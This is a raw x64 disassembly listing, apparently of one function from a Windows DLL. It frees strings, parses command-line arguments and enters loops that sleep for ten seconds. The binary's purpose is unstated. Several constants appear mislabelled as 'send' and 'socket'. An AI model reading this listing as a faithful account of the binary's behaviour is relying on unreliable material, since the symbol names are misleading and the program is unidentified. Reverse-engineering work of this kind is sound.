mov byte [rax + 8], 0
mov byte [rax + 0x28], 0
mov dword [rax + 0x2c], r14d
mov qword [0x1803a42d0], rax
cmp byte [rax + 0x28], 0
je 0x18008bded
lea rcx, [rbp - 0x80]
call fcn.18008cbe0
nop
mov rbx, qword [rbp - 0x70]
test rbx, rbx
jne 0x18008bcef
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x18008bc04
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008bbff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008c10b
call fcn.1800d9c4c
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], send
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x18008bc4f
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008bc4a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008c111
call fcn.1800d9c4c
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], send
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x18008bc9a
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008bc95
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008c117
call fcn.1800d9c4c
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x10], send
mov byte [rbp - 0x28], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x18008bce5
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008bce0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008c11d
call fcn.1800d9c4c
mov eax, 0x58
jmp 0x18008bafd
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], r14
lea rsi, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rsi, qword [rbp - 0x80]
movabs rdi, 0x7fffffffffffffff
cmp rbx, rdi
ja 0x18008c123
cmp rbx, 0xf
ja 0x18008bd43
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], send
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x30], xmm0
jmp 0x18008bdd2
mov rax, rbx
or rax, 0xf
cmp rax, rdi
jbe 0x18008bd7c
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1800d9c10
test rax, rax
je 0x18008c129
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x18008bdb4
mov ecx, socket
cmp rax, rcx
cmovb rax, rcx
mov rdi, rax
lea rcx, [rax + 1]
cmp rcx, 0x1000
jb 0x18008bda7
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18008c0c9
jmp 0x18008bd5d
test rcx, rcx
je 0x18008bdb4
call fcn.1800d9c10
mov r14, rax
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rdi
lea r8, [rbx + 1]
mov rdx, rsi
mov rcx, r14
call fcn.18010b710
lea rcx, [rsp + 0x30]
call fcn.18003f660
nop dword [rax]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x18008bde0
test r12, r12
je 0x18008c0cf
movsxd rax, dword [rbp + 0x1c0]
cmp eax, 2
jle 0x18008c0cf
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r14
mov ecx, send
mov qword [rsp + 0x48], rcx
mov byte [rsp + 0x30], 0
mov edi, r14d
mov ebx, 1
cmp rbx, rax
jae 0x18008bfb2
mov rdx, qword [r12 + rbx*8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r14
mov r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], 0
jne 0x18008be50
lea rcx, [rsp + 0x60]
call fcn.180008fd0
nop
lea rcx, [rsp + 0x60]
mov rax, qword [rsp + 0x70]
cmp qword [rsp + 0x78], 7
jbe 0x18008be83
mov rdx, qword [rsp + 0x60]
lea r8, [rdx + rax*2]
jmp 0x18008be8c
lea r8, [rcx + rax*2]
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x80]
call fcn.180008e90
nop
cmp rbx, 1
jne 0x18008beba
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
lea rcx, [rsp + 0x30]
call fcn.180027010
jmp 0x18008bed5
cmp rbx, 2
jne 0x18008bed5
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rcx, qword [rbp - 0x80]
call fcn.1800edaa0
mov edi, eax
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x18008bf10
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008bf0b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008c12f
call fcn.1800d9c4c
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], send
mov byte [rbp - 0x80], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x18008bf62
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008bf5d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008c135
call fcn.1800d9c4c
inc rbx
movsxd rax, dword [rbp + 0x1c0]
cmp rbx, rax
jb 0x18008be33
cmp edi, 0x32
jl 0x18008bfad
cmp qword [rsp + 0x40], 0x3c
jb 0x18008bfad
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x80]
call fcn.180007de0
mov rdx, rax
mov ecx, edi
call fcn.18003f5b0
nop word [rax + rax]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x18008bfa0
mov rcx, qword [rsp + 0x48]
cmp rcx, 0xf
jbe 0x18008bfec
lea rdx, [rcx + 1]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008bfe6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008c13b
call fcn.1800d9c4c
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x18008c027
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008c022
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008c141
call fcn.1800d9c4c
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], send
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x18008c072
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008c06d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008c147
call fcn.1800d9c4c
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x10], send
mov byte [rbp - 0x28], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x18008c0b9
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008c0b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008c0c3
call fcn.1800d9c4c
mov eax, 1
jmp 0x18008bafd
call fcn.1800e5fb0
nop
call fcn.1800034f0
nop
call fcn.180068e50
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
int3
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
int3
call fcn.1800e5fb0
int3
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800035b0
int3
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
int3